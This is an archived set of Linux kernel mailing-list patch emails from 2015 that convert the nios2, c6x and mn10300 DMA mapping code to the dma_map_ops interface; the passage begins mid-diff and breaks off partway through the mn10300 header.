 #ifndef _ASM_NIOS2_DMA_MAPPING_H
 #define _ASM_NIOS2_DMA_MAPPING_H
 
-#include <linux/scatterlist.h>
-#include <linux/cache.h>
-#include <asm/cacheflush.h>
+extern struct dma_map_ops nios2_dma_ops;
 
-static inline void __dma_sync_for_device(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	switch (direction) {
-	case DMA_FROM_DEVICE:
-		invalidate_dcache_range((unsigned long)vaddr,
-			(unsigned long)(vaddr + size));
-		break;
-	case DMA_TO_DEVICE:
-		/*
-		 * We just need to flush the caches here , but Nios2 flush
-		 * instruction will do both writeback and invalidate.
-		 */
-	case DMA_BIDIRECTIONAL: /* flush and invalidate */
-		flush_dcache_range((unsigned long)vaddr,
-			(unsigned long)(vaddr + size));
-		break;
-	default:
-		BUG();
-	}
-}
-
-static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
-{
-	switch (direction) {
-	case DMA_BIDIRECTIONAL:
-	case DMA_FROM_DEVICE:
-		invalidate_dcache_range((unsigned long)vaddr,
-			(unsigned long)(vaddr + size));
-		break;
-	case DMA_TO_DEVICE:
-		break;
-	default:
-		BUG();
-	}
-}
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent(d, s, h, f)
-#define dma_free_noncoherent(d, s, v, h) dma_free_coherent(d, s, v, h)
-
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			   dma_addr_t *dma_handle, gfp_t flag);
-
-void dma_free_coherent(struct device *dev, size_t size,
-			 void *vaddr, dma_addr_t dma_handle);
-
-static inline dma_addr_t dma_map_single(struct device *dev, void *ptr,
-					size_t size,
-					enum dma_data_direction direction)
-{
-	BUG_ON(!valid_dma_direction(direction));
-	__dma_sync_for_device(ptr, size, direction);
-	return virt_to_phys(ptr);
-}
-
-static inline void dma_unmap_single(struct device *dev, dma_addr_t dma_addr,
-				size_t size, enum dma_data_direction direction)
-{
-}
-
-extern int dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
-	enum dma_data_direction direction);
-extern dma_addr_t dma_map_page(struct device *dev, struct page *page,
-	unsigned long offset, size_t size, enum dma_data_direction direction);
-extern void dma_unmap_page(struct device *dev, dma_addr_t dma_address,
-	size_t size, enum dma_data_direction direction);
-extern void dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-	int nhwentries, enum dma_data_direction direction);
-extern void dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle,
-	size_t size, enum dma_data_direction direction);
-extern void dma_sync_single_for_device(struct device *dev,
-	dma_addr_t dma_handle, size_t size, enum dma_data_direction direction);
-extern void dma_sync_single_range_for_cpu(struct device *dev,
-	dma_addr_t dma_handle, unsigned long offset, size_t size,
-	enum dma_data_direction direction);
-extern void dma_sync_single_range_for_device(struct device *dev,
-	dma_addr_t dma_handle, unsigned long offset, size_t size,
-	enum dma_data_direction direction);
-extern void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
-	int nelems, enum dma_data_direction direction);
-extern void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-	int nelems, enum dma_data_direction direction);
-
-static inline int dma_supported(struct device *dev, u64 mask)
-{
-	return 1;
-}
-
-static inline int dma_set_mask(struct device *dev, u64 mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-
-	*dev->dma_mask = mask;
-
-	return 0;
-}
-
-static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
+	return &nios2_dma_ops;
 }
 
 /*
-* dma_alloc_noncoherent() returns non-cacheable memory, so there's no need to
-* do any flushing here.
-*/
+ * dma_alloc_noncoherent() returns non-cacheable memory, so there's no need to
+ * do any flushing here.
+ */
 static inline void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 				  enum dma_data_direction direction)
 {
 }
 
-/* drivers/base/dma-mapping.c */
-extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
-		void *cpu_addr, dma_addr_t dma_addr, size_t size);
-extern int dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-		void *cpu_addr, dma_addr_t dma_addr,
-		size_t size);
-
-#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h, s)
-#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v, h, s)
-
 #endif /* _ASM_NIOS2_DMA_MAPPING_H */
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index ac5da75..43c1149 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -20,9 +20,46 @@
 #include <linux/cache.h>
 #include <asm/cacheflush.h>
 
+static inline void __dma_sync_for_device(void *vaddr, size_t size,
+			      enum dma_data_direction direction)
+{
+	switch (direction) {
+	case DMA_FROM_DEVICE:
+		invalidate_dcache_range((unsigned long)vaddr,
+			(unsigned long)(vaddr + size));
+		break;
+	case DMA_TO_DEVICE:
+		/*
+		 * We just need to flush the caches here , but Nios2 flush
+		 * instruction will do both writeback and invalidate.
+		 */
+	case DMA_BIDIRECTIONAL: /* flush and invalidate */
+		flush_dcache_range((unsigned long)vaddr,
+			(unsigned long)(vaddr + size));
+		break;
+	default:
+		BUG();
+	}
+}
 
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			    dma_addr_t *dma_handle, gfp_t gfp)
+static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
+			      enum dma_data_direction direction)
+{
+	switch (direction) {
+	case DMA_BIDIRECTIONAL:
+	case DMA_FROM_DEVICE:
+		invalidate_dcache_range((unsigned long)vaddr,
+			(unsigned long)(vaddr + size));
+		break;
+	case DMA_TO_DEVICE:
+		break;
+	default:
+		BUG();
+	}
+}
+
+static void *nios2_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, struct dma_attrs *attrs)
 {
 	void *ret;
 
@@ -45,24 +82,21 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 
 	return ret;
 }
-EXPORT_SYMBOL(dma_alloc_coherent);
 
-void dma_free_coherent(struct device *dev, size_t size, void *vaddr,
-			dma_addr_t dma_handle)
+static void nios2_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	unsigned long addr = (unsigned long) CAC_ADDR((unsigned long) vaddr);
 
 	free_pages(addr, get_order(size));
 }
-EXPORT_SYMBOL(dma_free_coherent);
 
-int dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
-		enum dma_data_direction direction)
+static int nios2_dma_map_sg(struct device *dev, struct scatterlist *sg,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	int i;
 
-	BUG_ON(!valid_dma_direction(direction));
-
 	for_each_sg(sg, sg, nents, i) {
 		void *addr;
 
@@ -75,40 +109,32 @@ int dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
 
 	return nents;
 }
-EXPORT_SYMBOL(dma_map_sg);
 
-dma_addr_t dma_map_page(struct device *dev, struct page *page,
+static dma_addr_t nios2_dma_map_page(struct device *dev, struct page *page,
 			unsigned long offset, size_t size,
-			enum dma_data_direction direction)
+			enum dma_data_direction direction,
+			struct dma_attrs *attrs)
 {
-	void *addr;
-
-	BUG_ON(!valid_dma_direction(direction));
+	void *addr = page_address(page) + offset;
 
-	addr = page_address(page) + offset;
 	__dma_sync_for_device(addr, size, direction);
-
 	return page_to_phys(page) + offset;
 }
-EXPORT_SYMBOL(dma_map_page);
 
-void dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-		    enum dma_data_direction direction)
+static void nios2_dma_unmap_page(struct device *dev, dma_addr_t dma_address,
+		size_t size, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
-	BUG_ON(!valid_dma_direction(direction));
-
 	__dma_sync_for_cpu(phys_to_virt(dma_address), size, direction);
 }
-EXPORT_SYMBOL(dma_unmap_page);
 
-void dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
-		  enum dma_data_direction direction)
+static void dma_unmap_sg(struct device *dev, struct scatterlist *sg,
+		int nhwentries, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
 {
 	void *addr;
 	int i;
 
-	BUG_ON(!valid_dma_direction(direction));
-
 	if (direction == DMA_TO_DEVICE)
 		return;
 
@@ -118,69 +144,52 @@ void dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
 			__dma_sync_for_cpu(addr, sg->length, direction);
 	}
 }
-EXPORT_SYMBOL(dma_unmap_sg);
-
-void dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			     size_t size, enum dma_data_direction direction)
-{
-	BUG_ON(!valid_dma_direction(direction));
 
-	__dma_sync_for_cpu(phys_to_virt(dma_handle), size, direction);
-}
-EXPORT_SYMBOL(dma_sync_single_for_cpu);
-
-void dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle,
-				size_t size, enum dma_data_direction direction)
-{
-	BUG_ON(!valid_dma_direction(direction));
-
-	__dma_sync_for_device(phys_to_virt(dma_handle), size, direction);
-}
-EXPORT_SYMBOL(dma_sync_single_for_device);
-
-void dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-					unsigned long offset, size_t size,
-					enum dma_data_direction direction)
+static void nios2_dma_sync_single_for_cpu(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
 {
-	BUG_ON(!valid_dma_direction(direction));
-
 	__dma_sync_for_cpu(phys_to_virt(dma_handle), size, direction);
 }
-EXPORT_SYMBOL(dma_sync_single_range_for_cpu);
 
-void dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-					unsigned long offset, size_t size,
-					enum dma_data_direction direction)
+static void nios2_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
 {
-	BUG_ON(!valid_dma_direction(direction));
-
 	__dma_sync_for_device(phys_to_virt(dma_handle), size, direction);
 }
-EXPORT_SYMBOL(dma_sync_single_range_for_device);
 
-void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
-			 enum dma_data_direction direction)
+static void nios2_dma_sync_sg_for_cpu(struct device *dev,
+		struct scatterlist *sg, int nelems,
+		enum dma_data_direction direction)
 {
 	int i;
 
-	BUG_ON(!valid_dma_direction(direction));
-
 	/* Make sure that gcc doesn't leave the empty loop body.  */
 	for_each_sg(sg, sg, nelems, i)
 		__dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
 }
-EXPORT_SYMBOL(dma_sync_sg_for_cpu);
 
-void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-				int nelems, enum dma_data_direction direction)
+static void nios2_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sg, int nelems,
+		enum dma_data_direction direction)
 {
 	int i;
 
-	BUG_ON(!valid_dma_direction(direction));
-
 	/* Make sure that gcc doesn't leave the empty loop body.  */
 	for_each_sg(sg, sg, nelems, i)
 		__dma_sync_for_device(sg_virt(sg), sg->length, direction);
 
 }
-EXPORT_SYMBOL(dma_sync_sg_for_device);
+
+struct dma_map_ops nios2_dma_ops = {
+	.alloc                  = nios2_dma_alloc,
+	.free                   = nios2_dma_free,
+	.map_page               = nios2_dma_map_page,
+	.map_sg                 = nios2_dma_map_sg,
+	.sync_single_for_device = nios2_dma_sync_single_for_device,
+	.sync_single_for_cpu    = nios2_dma_sync_single_for_cpu,
+	.sync_sg_for_cpu        = nios2_dma_sync_sg_for_cpu,
+	.sync_sg_for_dev        = nios2_dma_sync_sg_for_device,
+};
+EXPORT_SYMBOL(nios2_dma_ops);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 05/16] c6x: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:10 +0100
Lines: 292
Approved: news@gmane.org
Message-ID: <1447093041-21832-6-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093361 18769 80.91.229.3 (9 Nov 2015 18:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:41 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 09 19:22:24 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Zvr54-00059O-DX
	for glpm-linux-m68k@plane.gmane.org; Mon, 09 Nov 2015 19:22:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752785AbbKISWI (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:08 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58056 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751892AbbKISWG (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 9 Nov 2015 13:22:06 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4n-0003P0-Lq; Mon, 09 Nov 2015 18:21:58 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7592 gmane.linux.ports.parisc:26137 gmane.linux.kernel.metag:654 gmane.linux.ports.sparc:21741 gmane.linux.kernel.iommu:11447
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7592>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/c6x/Kconfig                   |  2 +
 arch/c6x/include/asm/dma-mapping.h | 96 ++------------------------------------
 arch/c6x/kernel/dma.c              | 91 ++++++++++++++++--------------------
 3 files changed, 47 insertions(+), 142 deletions(-)

diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index 77ea09b..8602f72 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -17,6 +17,8 @@ config C6X
 	select OF_EARLY_FLATTREE
 	select GENERIC_CLOCKEVENTS
 	select MODULES_USE_ELF_RELA
+	select ARCH_NO_COHERENT_DMA_MMAP
+	select HAVE_DMA_ATTRS
 
 config MMU
 	def_bool n
diff --git a/arch/c6x/include/asm/dma-mapping.h b/arch/c6x/include/asm/dma-mapping.h
index bbd7774..6aa20fd 100644
--- a/arch/c6x/include/asm/dma-mapping.h
+++ b/arch/c6x/include/asm/dma-mapping.h
@@ -12,104 +12,18 @@
 #ifndef _ASM_C6X_DMA_MAPPING_H
 #define _ASM_C6X_DMA_MAPPING_H
 
-#include <linux/dma-debug.h>
-#include <asm-generic/dma-coherent.h>
-
-#define dma_supported(d, m)	1
-
-static inline void dma_sync_single_range_for_device(struct device *dev,
-						    dma_addr_t addr,
-						    unsigned long offset,
-						    size_t size,
-						    enum dma_data_direction dir)
-{
-}
-
-static inline int dma_set_mask(struct device *dev, u64 dma_mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, dma_mask))
-		return -EIO;
-
-	*dev->dma_mask = dma_mask;
-
-	return 0;
-}
-
 /*
  * DMA errors are defined by all-bits-set in the DMA address.
  */
-static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	debug_dma_mapping_error(dev, dma_addr);
-	return dma_addr == ~0;
-}
-
-extern dma_addr_t dma_map_single(struct device *dev, void *cpu_addr,
-				 size_t size, enum dma_data_direction dir);
+#define DMA_ERROR_CODE ~0
 
-extern void dma_unmap_single(struct device *dev, dma_addr_t handle,
-			     size_t size, enum dma_data_direction dir);
+extern struct dma_map_ops c6x_dma_ops;
 
-extern int dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		      int nents, enum dma_data_direction direction);
-
-extern void dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-			 int nents, enum dma_data_direction direction);
-
-static inline dma_addr_t dma_map_page(struct device *dev, struct page *page,
-				      unsigned long offset, size_t size,
-				      enum dma_data_direction dir)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	dma_addr_t handle;
-
-	handle = dma_map_single(dev, page_address(page) + offset, size, dir);
-
-	debug_dma_map_page(dev, page, offset, size, dir, handle, false);
-
-	return handle;
-}
-
-static inline void dma_unmap_page(struct device *dev, dma_addr_t handle,
-		size_t size, enum dma_data_direction dir)
-{
-	dma_unmap_single(dev, handle, size, dir);
-
-	debug_dma_unmap_page(dev, handle, size, dir, false);
-}
-
-extern void dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-				    size_t size, enum dma_data_direction dir);
-
-extern void dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				       size_t size,
-				       enum dma_data_direction dir);
-
-extern void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
-				int nents, enum dma_data_direction dir);
-
-extern void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-				   int nents, enum dma_data_direction dir);
-
-extern void coherent_mem_init(u32 start, u32 size);
-extern void *dma_alloc_coherent(struct device *, size_t, dma_addr_t *, gfp_t);
-extern void dma_free_coherent(struct device *, size_t, void *, dma_addr_t);
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent((d), (s), (h), (f))
-#define dma_free_noncoherent(d, s, v, h)  dma_free_coherent((d), (s), (v), (h))
-
-/* Not supported for now */
-static inline int dma_mmap_coherent(struct device *dev,
-				    struct vm_area_struct *vma, void *cpu_addr,
-				    dma_addr_t dma_addr, size_t size)
-{
-	return -EINVAL;
+	return &c6x_dma_ops;
 }
 
-static inline int dma_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size)
-{
-	return -EINVAL;
-}
+#include <asm-generic/dma-mapping-common.h>
 
 #endif	/* _ASM_C6X_DMA_MAPPING_H */
diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
index ab7b12d..fd1d5c0 100644
--- a/arch/c6x/kernel/dma.c
+++ b/arch/c6x/kernel/dma.c
@@ -36,110 +36,99 @@ static void c6x_dma_sync(dma_addr_t handle, size_t size,
 	}
 }
 
-dma_addr_t dma_map_single(struct device *dev, void *ptr, size_t size,
-			  enum dma_data_direction dir)
+static dma_addr_t c6x_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		struct dma_attrs *attrs)
 {
-	dma_addr_t addr = virt_to_phys(ptr);
+	dma_addr_t handle = virt_to_phys(page_address(page) + offset);
 
-	c6x_dma_sync(addr, size, dir);
-
-	debug_dma_map_page(dev, virt_to_page(ptr),
-			   (unsigned long)ptr & ~PAGE_MASK, size,
-			   dir, addr, true);
-	return addr;
+	c6x_dma_sync(handle, size, dir);
+	return handle;
 }
-EXPORT_SYMBOL(dma_map_single);
-
 
-void dma_unmap_single(struct device *dev, dma_addr_t handle,
-		      size_t size, enum dma_data_direction dir)
+static void c6x_dma_unmap_page(struct device *dev, dma_addr_t handle,
+		size_t size, enum dma_data_direction dir, struct dma_attrs *attrs)
 {
 	c6x_dma_sync(handle, size, dir);
-
-	debug_dma_unmap_page(dev, handle, size, dir, true);
 }
-EXPORT_SYMBOL(dma_unmap_single);
-
 
-int dma_map_sg(struct device *dev, struct scatterlist *sglist,
-	       int nents, enum dma_data_direction dir)
+static int c6x_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction dir, struct dma_attrs *attrs)
 {
 	struct scatterlist *sg;
 	int i;
 
 	for_each_sg(sglist, sg, nents, i)
-		sg->dma_address = dma_map_single(dev, sg_virt(sg), sg->length,
-						 dir);
-
-	debug_dma_map_sg(dev, sglist, nents, nents, dir);
+		sg->dma_address = sg_phys(sg);
+		c6x_dma_sync(sg->dma_address, sg->length, dir);
+	}
 
 	return nents;
 }
-EXPORT_SYMBOL(dma_map_sg);
-
 
-void dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-		  int nents, enum dma_data_direction dir)
+static void c6x_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
+		  int nents, enum dma_data_direction dir,
+		  struct dma_attrs *attrs)
 {
 	struct scatterlist *sg;
 	int i;
 
 	for_each_sg(sglist, sg, nents, i)
-		dma_unmap_single(dev, sg_dma_address(sg), sg->length, dir);
+		c6x_dma_sync(sg_dma_address(sg), sg->length, dir);
 
-	debug_dma_unmap_sg(dev, sglist,	nents, dir);
 }
-EXPORT_SYMBOL(dma_unmap_sg);
 
-void dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-			     size_t size, enum dma_data_direction dir)
+static void c6x_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
+		size_t size, enum dma_data_direction dir)
 {
 	c6x_dma_sync(handle, size, dir);
 
-	debug_dma_sync_single_for_cpu(dev, handle, size, dir);
 }
-EXPORT_SYMBOL(dma_sync_single_for_cpu);
-
 
-void dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				size_t size, enum dma_data_direction dir)
+static void c6x_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t handle, size_t size, enum dma_data_direction dir)
 {
 	c6x_dma_sync(handle, size, dir);
 
-	debug_dma_sync_single_for_device(dev, handle, size, dir);
 }
-EXPORT_SYMBOL(dma_sync_single_for_device);
 
-
-void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist,
-			 int nents, enum dma_data_direction dir)
+static void c6x_dma_sync_sg_for_cpu(struct device *dev,
+		struct scatterlist *sglist, int nents,
+		enum dma_data_direction dir)
 {
 	struct scatterlist *sg;
 	int i;
 
 	for_each_sg(sglist, sg, nents, i)
-		dma_sync_single_for_cpu(dev, sg_dma_address(sg),
+		c6x_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
 					sg->length, dir);
 
-	debug_dma_sync_sg_for_cpu(dev, sglist, nents, dir);
 }
-EXPORT_SYMBOL(dma_sync_sg_for_cpu);
-
 
-void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
-			    int nents, enum dma_data_direction dir)
+static void c6x_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sglist, int nents,
+		enum dma_data_direction dir)
 {
 	struct scatterlist *sg;
 	int i;
 
 	for_each_sg(sglist, sg, nents, i)
-		dma_sync_single_for_device(dev, sg_dma_address(sg),
+		c6x_dma_sync_single_for_device(dev, sg_dma_address(sg),
 					   sg->length, dir);
 
-	debug_dma_sync_sg_for_device(dev, sglist, nents, dir);
 }
-EXPORT_SYMBOL(dma_sync_sg_for_device);
 
+struct dma_map_ops c6x_dma_ops = {
+	.alloc			= c6x_dma_alloc,
+	.free			= c6x_dma_free,
+	.map_page		= c6x_dma_map_page,
+	.map_sg			= c6x_dma_map_sg,
+	.sync_single_for_device	= c6x_dma_sync_single_for_device,
+	.sync_single_for_cpu	= c6x_dma_sync_single_for_cpu,
+	.sync_sg_for_device	= c6x_dma_sync_sg_for_device,
+	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
+};
+EXPORT_SYMBOL(c6x_dma_ops);
 
 /* Number of entries preallocated for DMA-API debugging */
 #define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-- 
1.9.1


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 10/16] mn10300: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:15 +0100
Lines: 296
Approved: news@gmane.org
Message-ID: <1447093041-21832-11-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093362 18774 80.91.229.3 (9 Nov 2015 18:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:42 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 09 19:22:39 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Zvr5F-00059O-Iu
	for glpm-linux-m68k@plane.gmane.org; Mon, 09 Nov 2015 19:22:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752071AbbKISWY (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:24 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58514 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752426AbbKISWX (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 9 Nov 2015 13:22:23 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr55-0003bg-2v; Mon, 09 Nov 2015 18:22:15 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7593 gmane.linux.ports.parisc:26138 gmane.linux.kernel.metag:655 gmane.linux.ports.sparc:21742 gmane.linux.kernel.iommu:11448
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7593>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/mn10300/Kconfig                   |   2 +
 arch/mn10300/include/asm/dma-mapping.h | 161 +--------------------------------
 arch/mn10300/mm/dma-alloc.c            |  67 ++++++++++++--
 3 files changed, 67 insertions(+), 163 deletions(-)

diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
index 4434b54..1bf3af2 100644
--- a/arch/mn10300/Kconfig
+++ b/arch/mn10300/Kconfig
@@ -13,6 +13,8 @@ config MN10300
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
+	select ARCH_NO_COHERENT_DMA_MMAP
+	select HAVE_DMA_ATTRS
 
 config AM33_2
 	def_bool n
diff --git a/arch/mn10300/include/asm/dma-mapping.h b/arch/mn10300/include/asm/dma-mapping.h
index a18abfc..e69b013 100644
--- a/arch/mn10300/include/asm/dma-mapping.h
+++ b/arch/mn10300/include/asm/dma-mapping.h
@@ -11,154 +11,14 @@
 #ifndef _ASM_DMA_MAPPING_H
 #define _ASM_DMA_MAPPING_H
 
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-
 #include <asm/cache.h>
 #include <asm/io.h>
 
-/*
